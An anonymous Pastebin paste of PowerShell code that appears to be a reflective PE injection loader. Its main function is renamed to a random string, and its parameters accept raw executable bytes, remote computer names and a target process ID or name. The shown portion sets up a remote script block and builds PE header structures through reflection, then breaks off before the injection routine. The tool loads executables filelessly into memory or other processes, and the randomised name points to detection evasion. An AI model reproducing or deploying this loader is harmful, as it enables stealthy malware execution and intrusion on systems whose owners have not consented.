SHARE
TWEET

Untitled

a guest Jun 25th, 2019 168 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Invoke-YZSIPFNXTHVFWKM
  2. {
  3.  
  4. [CmdletBinding()]
  5. Param(
  6.     [Parameter(Position = 0, Mandatory = $true)]
  7.     [ValidateNotNullOrEmpty()]
  8.     [Byte[]]
  9.     $PEBytes,
  10.  
  11.     [Parameter(Position = 1)]
  12.     [String[]]
  13.     $ComputerName,
  14.  
  15.     [Parameter(Position = 2)]
  16.     [ValidateSet( 'WString', 'String', 'Void' )]
  17.     [String]
  18.     $FuncReturnType = 'Void',
  19.  
  20.     [Parameter(Position = 3)]
  21.     [String]
  22.     $ExeArgs,
  23.  
  24.     [Parameter(Position = 4)]
  25.     [Int32]
  26.     $ProcId,
  27.  
  28.     [Parameter(Position = 5)]
  29.     [String]
  30.     $ProcName,
  31.  
  32.     [Switch]
  33.     $ForceASLR,
  34.  
  35.     [Switch]
  36.     $DoNotZeroMZ
  37. )
  38.  
  39. Set-StrictMode -Version 2
  40.  
  41.  
  42. $RemoteScriptBlock = {
  43.     [CmdletBinding()]
  44.     Param(
  45.         [Parameter(Position = 0, Mandatory = $true)]
  46.         [Byte[]]
  47.         $PEBytes,
  48.  
  49.         [Parameter(Position = 1, Mandatory = $true)]
  50.         [String]
  51.         $FuncReturnType,
  52.  
  53.         [Parameter(Position = 2, Mandatory = $true)]
  54.         [Int32]
  55.         $ProcId,
  56.  
  57.         [Parameter(Position = 3, Mandatory = $true)]
  58.         [String]
  59.         $ProcName,
  60.  
  61.         [Parameter(Position = 4, Mandatory = $true)]
  62.         [Bool]
  63.         $ForceASLR
  64.     )
  65.  
  66.     Function Get-Win32Types
  67.     {
  68.         $Win32Types = New-Object System.Object
  69.  
  70.         $Domain = [AppDomain]::CurrentDomain
  71.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  72.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  73.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  74.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  75.  
  76.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  77.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  78.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  79.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  80.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  81.         $MachineType = $TypeBuilder.CreateType()
  82.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  83.  
  84.  
  85.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  86.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  87.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  88.         $MagicType = $TypeBuilder.CreateType()
  89.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  90.  
  91.  
  92.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  93.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  94.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  104.         $SubSystemType = $TypeBuilder.CreateType()
  105.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  106.  
  107.  
  108.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  109.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  110.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  111.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  113.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  114.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  119.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  120.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  122.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  123.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  124.  
  125.  
  126.  
  127.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  128.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  129.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  130.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  131.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  132.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  133.  
  134.  
  135.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  136.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  137.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  138.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  139.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  144.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  145.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  146.  
  147.  
  148.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  149.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  150.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  151.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  152.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  153.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  154.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  156.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  157.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  158.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  159.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  160.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  161.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  162.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  163.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  164.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  165.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  166.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  167.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  168.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  169.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  170.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  171.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  172.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  173.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  174.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  177.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  178.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  179.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  180.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  181.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  182.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  183.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  184.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  185.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  186.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  187.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  188.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  189.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  190.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  191.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  192.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  193.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  194.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  195.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  196.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  197.  
  198.  
  199.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  200.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  201.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  202.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  203.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  204.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  205.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  207.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  208.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  209.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  210.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  211.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  212.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  213.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  214.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  215.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  216.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  217.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  218.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  219.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  220.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  221.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  222.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  223.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  224.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  225.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  226.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  229.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  230.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  231.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  232.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  233.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  234.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  235.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  236.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  237.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  238.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  239.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  240.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  241.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  242.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  243.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  244.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  245.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  246.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  247.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  248.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  249.  
  250.  
  251.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  252.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  253.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  254.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  255.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  256.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  257.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  258.  
  259.  
  260.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  261.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  262.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  263.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  264.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  265.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  266.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  267.  
  268.  
  269.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  270.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  271.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  272.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  273.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  285.  
  286.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  287.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  288.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  289.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  290.         $e_resField.SetCustomAttribute($AttribBuilder)
  291.  
  292.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  293.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  294.  
  295.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  296.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  297.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  298.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  299.  
  300.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  301.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  302.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  303.  
  304.  
  305.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  306.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  307.  
  308.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  309.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  310.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  311.         $nameField.SetCustomAttribute($AttribBuilder)
  312.  
  313.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  314.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  315.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  322.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  323.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  324.  
  325.  
  326.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  327.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  328.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  329.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  330.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  331.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  332.  
  333.  
  334.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  335.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  336.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  337.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  338.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  341.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  342.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  343.  
  344.  
  345.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  346.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  347.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  348.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  349.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  358.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  359.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  360.  
  361.  
  362.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  363.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  364.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  365.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
